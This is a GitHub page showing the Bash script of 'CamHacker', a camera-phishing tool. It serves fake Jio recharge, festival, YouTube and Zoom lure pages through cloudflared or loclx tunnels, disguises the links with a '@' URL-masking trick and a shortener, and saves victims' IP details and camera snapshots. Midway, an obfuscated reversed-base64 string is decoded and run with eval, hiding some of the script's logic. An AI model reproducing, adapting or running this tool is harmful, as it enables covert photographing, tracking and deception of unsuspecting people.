forked from KasRoudra2/CamHacker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ch.sh
executable file
·661 lines (604 loc) · 26.8 KB
/
ch.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
#!/bin/bash
# CamHacker
# Version : 1.5
# Description: CamHacker is a camera Phishing tool. Send a phishing link to victim, if he/she gives access to camera, his/her photo will be captured!
# Author : KasRoudra
# Github : https://github.com/KasRoudra
# Email : [email protected]
# Credits : Noob-Hackers, TechChipNet, LinuxChoice
# Date : 5-09-2021
# License : MIT
# Copyright : KasRoudra (2021-2022)
# Language : Shell
# Portable File
# If you copy, consider giving credit! We keep our code open source to help others
: '
MIT License
Copyright (c) 2022 KasRoudra
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
'
# Colors
black="\033[1;30m"
red="\033[1;31m"
green="\033[1;32m"
yellow="\033[1;33m"
blue="\033[1;34m"
purple="\033[1;35m"
cyan="\033[1;36m"
violate="\033[1;37m"
white="\033[0;37m"
nc="\033[00m"
# Output snippets
info="${cyan}[${white}+${cyan}] ${yellow}"
info2="${blue}[${white}•${blue}] ${yellow}"
ask="${green}[${white}?${green}] ${purple}"
error="${yellow}[${white}!${yellow}] ${red}"
success="${cyan}[${white}√${cyan}] ${green}"
version="1.5"
cwd=`pwd`
tunneler_dir="$HOME/.tunneler"
# Logo
logo="
${green} ____ _ _ _
${red} / ___|__ _ _ __ ___ | | | | __ _ ___| | _____ _ __
${cyan}| | / _' | '_ ' _ \| |_| |/ _' |/ __| |/ / _ \ '__|
${purple}| |__| (_| | | | | | | _ | (_| | (__| < __/ |
${yellow} \____\__,_|_| |_| |_|_| |_|\__,_|\___|_|\_\___|_|
${red} [v${version}]
${blue} [By KasRoudra]
"
loclx_help="
${info}Steps: ${nc}
${blue}[1]${yellow} Go to ${green}https://localxpose.io
${blue}[2]${yellow} Create an account
${blue}[3]${yellow} Login to your account
${blue}[4]${yellow} Visit ${green}https://localxpose.io/dashboard/access${yellow} and copy your authtoken
"
# Check for sudo
if command -v sudo > /dev/null 2>&1; then
sudo=true
else
sudo=false
fi
# Check if mac or termux
termux=false
brew=false
cloudflared=false
loclx=false
cf_command="$tunneler_dir/cloudflared"
loclx_command="$tunneler_dir/loclx"
if [[ -d /data/data/com.termux/files/home ]]; then
termux=true
cf_command="termux-chroot $tunneler_dir/cloudflared"
loclx_command="termux-chroot $tunneler_dir/loclx"
fi
if command -v brew > /dev/null 2>&1; then
brew=true
if command -v cloudflared > /dev/null 2>&1; then
cloudflared=true
cf_command="cloudflared"
fi
if command -v localxpose > /dev/null 2>&1; then
loclx=true
loclx_command="localxpose"
fi
fi
ch_prompt="\n${cyan}Cam${nc}@${cyan}Hacker ${red}$ ${nc}"
# Kill running instances of required packages
killer() {
for process in php wget curl unzip cloudflared loclx localxpose; do
if pidof "$process" > /dev/null 2>&1; then
killall "$process"
fi
done
}
# Check if offline
netcheck() {
while true; do
wget --spider --quiet https://github.com
if [ "$?" != 0 ]; then
echo -e "${error}No internet!\007\n"
sleep 2
else
break
fi
done
}
# Set template
url_manager() {
if [[ "$2" == "1" ]]; then
echo -e "${info}Your urls are: \n"
fi
echo -e "${success}URL ${2} > ${1}\n"
echo -e "${success}URL ${3} > ${mask}@${1#https://}\n"
netcheck
if echo $1 | grep -q "$TUNNELER"; then
shortened=$(curl -s "https://is.gd/create.php?format=simple&url=${1}")
else
shortened=""
fi
if ! [ -z "$shortened" ]; then
if echo "$shortened" | head -n1 | grep -q "https://"; then
echo -e "${success}Shortened > ${shortened}\n"
echo -e "${success}Masked > ${mask}@${shortened#https://}\n"
fi
fi
}
# Prevent ^C
stty -echoctl
# Detect UserInterrupt
trap "echo -e '\n${success}Thanks for using!\n'; exit" 2
echo -e "\n${info}Please Wait!...\n${nc}"
gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" '=ogIXFlckIzYIRCekEHMORiIgwWY2VmCpICcahHJVRCTkcVUyRie5YFJ3RiZkAnW4RidkIzYIRiYkcHJzRCZkcVUyRyYkcHJyMGSkICIsFmdlhCJ9gnCiISPwpFe7IyckVkI9gHV7ICfgYnI9I2OiUmI9c3OiImI9Y3OiISPxBjT7IiZlJSPjp0OiQWLgISPVtjImlmI9MGOQtjI2ISP6ljV7Iybi0DZ7ISZhJSPmV0Y7IychBnI9U0YrtjIzFmI9Y2OiISPyMGS7Iyci0jS4h0OiIHI8ByJaBzZwA1UKZkWDl0NhBDM3B1UKRTVz8WaPJTT5kUbO9WSqRXTQNVSwkka0lXVWNWOJlWS3o1aVhHUTp0cVNVS3MmewkWSDNWOQdFZENVMWRXWup1UiVVT3dFb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VlTKpFMGR0UXRmQlZFat9EVGllWwYEVa5mVXZVMwVjWEpEbhJTOuNFVspUZtpUdPVFZppUeChTSIlUaPBDa0Mlawk2Y5l0NTdUT5B1UJl2TykVOJ1mR6lka0JXWwUVOJ5mQoNWeJdTWwYVbQNlSop1UJdjWEBTailXS3YlasZDUTlkMJpGdR90RNlTStxWbJpGdWB1UJdGTXFVaPBDcqB1UKxmWpl0NUpmQ4B1UJl2TzkVOJ1WSp90MjlTStVVaPJTS5kkbZdmZDl0NWh0Z5k0aWt2Y5l0NlZEc3B1UJl2QudWOKNEasRWbGNXSDl0aTdUT5pESjtWW5JVeVZ1Yrp1QSpnSIN2aZlmUJlleJtGZpJFNX5WQrpVaSNjSGlVNllmU5VlVjtGVDJlVKhEahN2QJB3QtZlMZd1dnlUaS9UTIV0alNkUJlleJt2YsZEWJd2b9cCIi0zc7ISUsJSPxUkZ7IiI9cVUytjI0ISPMtjIoNmI9M2Oio3U4JSPw00a7ICZFJSP0g0Z' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""
x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
eval "$N0q$x$Hc2$rQW"
# Workdir
if [ -z "$DIRECTORY" ]; then
exit 1;
else
if [[ $DIRECTORY == true || ! -d $DIRECTORY ]]; then
if $termux; then
if ! [ -d /sdcard/Pictures ]; then
cd /sdcard && mkdir Pictures
fi
FOL="/sdcard/Pictures"
cd "$FOL"
if ! [[ -e ".temp" ]]; then
touch .temp || (termux-setup-storage && echo -e "\n${error}Please Restart Termux!\n\007" && sleep 5 && exit 0)
fi
cd "$cwd"
else
if [ -d "$HOME/Pictures" ]; then
FOL="$HOME/Pictures"
else
FOL="$cwd"
fi
fi
else
FOL="$DIRECTORY"
fi
fi
# Set Tunneler
if [ -z $TUNNELER ]; then
exit 1;
else
if [ $TUNNELER == "cloudflared" ]; then
TUNNELER="cloudflare"
fi
fi
# Set Port
if [ -z $PORT ]; then
exit 1;
else
if [ ! -z "${PORT##*[!0-9]*}" ] ; then
printf ""
else
PORT=8080
fi
fi
# Install required packages
for package in php curl wget unzip; do
if ! command -v "$package" > /dev/null 2>&1; then
echo -e "${info}Installing ${package}....${nc}"
for pacman in pkg apt apt-get yum dnf brew; do
if command -v "$pacman" > /dev/null 2>&1; then
if $sudo; then
sudo $pacman install $package
else
$pacman install $package
fi
break
fi
done
if command -v apk > /dev/null 2>&1; then
if $sudo; then
sudo apk add $package
else
apk add $package
fi
break
fi
if command -v pacman > /dev/null 2>&1; then
if $sudo; then
sudo pacman -S $package
else
pacman -S $package
fi
break
fi
fi
done
# Check for proot in termux
if $termux; then
if ! command -v proot > /dev/null 2>&1; then
echo -e "${info}Installing proot...."
pkg install proot -y
fi
if ! command -v proot > /dev/null 2>&1; then
echo -e "${error}Proot can't be installed!\007\n"
exit 1
fi
fi
# Set Region for loclx
if [ -z $REGION ]; then
exit 1;
fi
# Install tunneler binaries
if $brew; then
! $cloudflared && brew install cloudflare/cloudflare/cloudflared
! $loclx && brew install localxpose
fi
# Check if required packages are successfully installed
for package in php wget curl unzip; do
if ! command -v "$package" > /dev/null 2>&1; then
echo -e "${error}${package} cannot be installed!\007\n"
exit 1
fi
done
# Set subdomain for loclx
if [ -z $SUBDOMAIN ]; then
exit 1;
fi
local_url="127.0.0.1:${PORT}"
# Check for running processes that couldn't be terminated
killer
for process in php wget curl unzip cloudflared loclx localxpose; do
if pidof "$process" > /dev/null 2>&1; then
echo -e "${error}Previous ${process} cannot be closed. Restart terminal!\007\n"
exit 1
fi
done
# Download tunnlers
arch=$(uname -m)
platform=$(uname)
if ! [[ -d $tunneler_dir ]]; then
mkdir $tunneler_dir
fi
if ! [[ -f $tunneler_dir/cloudflared ]] ; then
nocf=true
else
nocf=false
fi
if ! [[ -f $tunneler_dir/loclx ]] ; then
noloclx=true
else
noloclx=false
fi
netcheck
rm -rf cloudflared cloudflared.tgz loclx.zip
cd "$cwd"
if echo "$platform" | grep -q "Darwin"; then
if echo "$arch" | grep -q "x86_64" || echo "$arch" | grep -q "amd64"; then
$nocf && manage_tunneler "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-darwin-amd64.tgz" "cloudflared.tgz"
$noloclx && manage_tunneler "https://api.localxpose.io/api/v2/downloads/loclx-darwin-amd64.zip" "loclx.zip"
elif echo "$arch" | grep -q "arm64" || echo "$arch" | grep -q "aarch64"; then
echo -e "${error}Device architecture unknown. Download cloudflared manually!"
sleep 3
$noloclx && manage_tunneler "https://api.localxpose.io/api/v2/downloads/loclx-darwin-arm64.zip" "loclx.zip"
else
echo -e "${error}Device architecture unknown. Download cloudflared/loclx manually!"
sleep 3
fi
elif echo "$platform" | grep -q "Linux"; then
if echo "$arch" | grep -q "arm" || echo "$arch" | grep -q "Android"; then
$nocf && manage_tunneler "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm" "cloudflared"
$noloclx && manage_tunneler "https://api.localxpose.io/api/v2/downloads/loclx-linux-arm.zip" "loclx.zip"
elif echo "$arch" | grep -q "aarch64" || echo "$arch" | grep -q "arm64"; then
$nocf && manage_tunneler "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64" "cloudflared"
$noloclx && manage_tunneler "https://api.localxpose.io/api/v2/downloads/loclx-linux-arm64.zip" "loclx.zip"
elif echo "$arch" | grep -q "x86_64" || echo "$arch" | grep -q "amd64"; then
$nocf && manage_tunneler "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64" "cloudflared"
$noloclx && manage_tunneler "https://api.localxpose.io/api/v2/downloads/loclx-linux-amd64.zip" "loclx.zip"
else
$nocf && manage_tunneler "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386" "cloudflared"
$noloclx && manage_tunneler "https://api.localxpose.io/api/v2/downloads/loclx-linux-386.zip" "loclx.zip"
fi
else
echo -e "${error}Unsupported Platform!"
exit
fi
# Check for update
netcheck
if [[ -z $UPDATE ]]; then
exit 1
else
if [[ $UPDATE == true ]]; then
git_ver=`curl -s -N https://raw.githubusercontent.com/KasRoudra/CamHacker/main/files/version.txt`
else
git_ver=$version
fi
fi
if [[ "$git_ver" != "404: Not Found" && "$git_ver" != "$version" ]]; then
changelog=$(curl -s -N https://raw.githubusercontent.com/KasRoudra/CamHacker/main/files/changelog.log)
clear
echo -e "$logo"
echo -e "${info}CamHacker has a new update!\n${info}Current: ${red}${version}\n${info}Available: ${green}${git_ver}\n"
printf "${ask}Do you want to update CamHacker?${yellow}[y/n] > $green"
read upask
printf "$nc"
if [[ "$upask" == "y" ]]; then
cd .. && rm -rf CamHacker camhacker && git clone https://github.com/KasRoudra/CamHacker
echo -e "\n${success}CamHacker updated successfully!!"
if [[ "$changelog" != "404: Not Found" ]]; then
echo -e "${purple}[•] Changelog:\n${blue}"
echo -e "$changelog" | head -n4
fi
exit
elif [[ "$upask" == "n" ]]; then
echo -e "\n${info}Updating cancelled. Using old version!"
sleep 2
else
echo -e "\n${error}Wrong input!\n"
sleep 2
fi
fi
# Loclx Authtoken
if ! [[ -e "$HOME/.localxpose/.access" ]]; then # if $loclx_command account status | grep -q "Error"; then
for try in 1 2; do
echo -e "\n${ask}Enter your loclx authtoken:${yellow}[${blue}Enter 'help' for help${yellow}]"
printf "$ch_prompt"
read authtoken
if [ -z "$authtoken" ]; then
echo -e "\n${error}No authtoken!\n\007"
sleep 1
break
elif [ "$authtoken" == "help" ]; then
echo -e "$loclx_help"
sleep 4
else
if ! [ -d "$HOME/.localxpose" ]; then
mkdir "$HOME/.localxpose"
fi
echo -n "$authtoken" > $HOME/.localxpose/.access
sleep 1
break
fi
done
fi
# Start Point
while true; do
clear
echo -e "$logo"
sleep 1
echo -e "${ask}Choose an option:
${cyan}[${white}1${cyan}] ${yellow}Jio Recharge
${cyan}[${white}2${cyan}] ${yellow}Festival
${cyan}[${white}3${cyan}] ${yellow}Live Youtube
${cyan}[${white}4${cyan}] ${yellow}Online Meeting
${cyan}[${white}d${cyan}] ${yellow}Change Image Directory (current: ${red}${FOL}${yellow})
${cyan}[${white}p${cyan}] ${yellow}Change Default Port (current: ${red}${PORT}${yellow})
${cyan}[${white}x${cyan}] ${yellow}About
${cyan}[${white}m${cyan}] ${yellow}More tools
${cyan}[${white}0${cyan}] ${yellow}Exit${blue}
"
sleep 1
if [ -z $OPTION ]; then
exit 1
else
if [[ $OPTION == true ]]; then
printf "$ch_prompt"
read option
else
option=$OPTION
fi
fi
# Select template
if echo $option | grep -q "1"; then
dir="jio"
mask="https://free-399rs-jio-recharge"
break
elif echo $option | grep -q "2"; then
dir="fest"
echo -e "\n${ask}Enter festival name${yellow} (Current: ${green}birthday):${cyan}"
printf "$ch_prompt"
read fest_name
mask="https://best-wishes-to-you"
break
elif echo $option | grep -q "3"; then
dir="live"
echo -e "\n${ask}Enter youtube video ID:${cyan}"
printf "$ch_prompt"
read vid_id
mask="https://watch-youtube-videos-live"
break
elif echo $option | grep -q "4"; then
dir="om"
mask="https://join-zoom-online-meeting"
break
elif echo $option | grep -q "p"; then
echo -e "\n${ask}Enter Port:${cyan}"
printf "$ch_prompt"
read pore
if [ ! -z "${pore##*[!0-9]*}" ] ; then
PORT=$pore;
local_url="127.0.0.1:${PORT}"
echo -e "\n${success}Port changed to ${cyan}${PORT}${green} successfully!\n"
sleep 2
else
echo -e "\n${error}Invalid port!\n\007"
sleep 2
fi
elif echo $option | grep -q "d"; then
echo -e "\n${ask}Enter Directory:${cyan}"
printf "$ch_prompt"
read dire
if ! [ -d $dire ]; then
echo -e "\n${error}Invalid directory!\n\007"
sleep 2
else
FOL="$dire"
echo -e "\n${success}Directory changed successfully!\n"
sleep 2
fi
elif echo $option | grep -q "x"; then
clear
echo -e "$logo"
echo -e "$red[ToolName] ${cyan} :[CamHacker]
$red[Version] ${cyan} :[${version}]
$red[Description]${cyan} :[Camera Phishing tool]
$red[Author] ${cyan} :[KasRoudra]
$red[Github] ${cyan} :[https://github.com/KasRoudra]
$red[Messenger] ${cyan} :[https://m.me/KasRoudra]
$red[Email] ${cyan} :[[email protected]]"
printf "$ch_prompt"
read about
elif echo $option | grep -q "m"; then
xdg-open "https://github.com/KasRoudra/KasRoudra#My-Best-Works"
elif echo $option | grep -q "0"; then
echo -e "\n${success}Thanks for using!\n"
exit 0
else
echo -e "\n${error}Invalid input!\007"
OPTION=true
sleep 1
fi
done
if ! [ -d "$HOME/.site" ]; then
mkdir "$HOME/.site"
else
cd $HOME/.site
rm -rf *
fi
cd "$cwd"
if [ -e websites.zip ]; then
unzip websites.zip > /dev/null 2>&1
rm -rf websites.zip
fi
if ! [ -d sites ]; then
mkdir sites
netcheck
wget -q --show-progress "https://github.com/KasRoudra/CamHacker/releases/latest/download/websites.zip"
unzip websites.zip -d sites > /dev/null 2>&1
rm -rf websites.zip
fi
cd sites/$dir
cp -r * "$HOME/.site"
# Hotspot required for termux
if $termux; then
echo -e "\n${info2}If you haven't turned on hotspot, please enable it!"
sleep 3
fi
echo -e "\n${info}Starting php server at localhost:${PORT}....\n"
netcheck
php -S "${local_url}" -t "$HOME/.site" > /dev/null 2>&1 &
sleep 2
sleep 1
status=$(curl -s --head -w %{http_code} "${local_url}" -o /dev/null)
if echo "$status" | grep -q "404"; then
echo -e "${error}PHP couldn't start!\n\007"
killer
exit 1
else
echo -e "${success}PHP has started successfully!\n"
fi
echo -e "${info2}Starting tunnelers......\n"
find "$tunneler_dir" -name "*.log" -delete
netcheck
args=""
if [ "$REGION" != false ]; then
args="--region $REGION"
fi
if [ "$SUBDOMAIN" != false ]; then
if [ "$args" == "" ]; then
args="--subdomain $SUBDOMAIN"
else
args="$args --subdomain $SUBDOMAIN"
fi
fi
$cf_command tunnel -url "${local_url}" &> "$tunneler_dir/cf.log" &
$loclx_command tunnel --raw-mode http --https-redirect $args -t "${local_url}" &> "$tunneler_dir/loclx.log" &
sleep 10
cd "$HOME/.site"
if echo $option | grep -q "2"; then
if ! [ -z "$fest_name" ]; then
sed -i s/"birthday"/"$fest_name"/g index.html
fi
fi
if echo $option | grep -q "3"; then
if ! [ -z "$vid_id" ]; then
netcheck
if curl -s -N "https://www.youtube.com/embed/${vid_id}?autoplay=1" | grep -q "https://www.youtube.com/watch?v=${vid_id}"; then
sed -i s/"6hHmkInZkMQ"/"$vid_id"/g index.html
else
echo -e "${error}Inavlid youtube video ID!. Using default value.\007\n"
fi
fi
fi
for second in {1..10}; do
if [ -f "$tunneler_dir/cf.log" ]; then
cflink=$(grep -Eo "https://[-0-9a-z.]{4,}.trycloudflare.com" "$tunneler_dir/cf.log")
sleep 1
fi
if ! [ -z "$cflink" ]; then
cfcheck=true
break
else
cfcheck=false
fi
done
for second in {1..10}; do
if [ -f "$tunneler_dir/loclx.log" ]; then
loclxlink=$(grep -o "[-0-9a-z.]*.loclx.io" "$tunneler_dir/loclx.log")
sleep 1
fi
if ! [ -z "$loclxlink" ]; then
loclxcheck=true
loclxlink="https://${loclxlink}"
break
else
loclxcheck=false
fi
done
if ( $cfcheck && $loclxcheck ); then
echo -e "${success}Cloudflared and Loclx have started successfully!\n"
url_manager "$cflink" 1 2
url_manager "$loclxlink" 3 4
elif ( $cfcheck && ! $loclxcheck ); then
echo -e "${success}Cloudflared has started successfully!\n"
url_manager "$cflink" 1 2
elif ( $loclxcheck && ! $cfcheck ); then
echo -e "${success}Loclx has started successfully!\n"
url_manager "$loclxlink" 1 2
elif ( $cfcheck && $loclxcheck && ! $loclxcheck ); then
echo -e "${success}Cloudflared and Loclx have started successfully!\n"
url_manager "$cflink" 1 2
url_manager "$loclxlink" 3 4
else
echo -e "${error}Tunneling failed! Start your own port forwarding/tunneling service at port ${PORT}\n";
fi
sleep 1
rm -rf ip.txt
echo -e "${info}Waiting for target. ${cyan}Press ${red}Ctrl + C ${cyan}to exit...\n"
while true; do
if [[ -e "ip.txt" ]]; then
echo -e "\007${success}Target opened the link!\n"
while IFS= read -r line; do
echo -e "${green}[${blue}*${green}]${yellow} $line"
done < ip.txt
echo ""
cat ip.txt >> "$cwd/ip.txt"
rm -rf ip.txt
fi
sleep 0.5
if [[ -e "log.txt" ]]; then
echo -e "\007${success}Image downloaded! Check directory!\n"
file=`ls | grep png`
mv -f $file $FOL
rm -rf log.txt
fi
sleep 0.5
done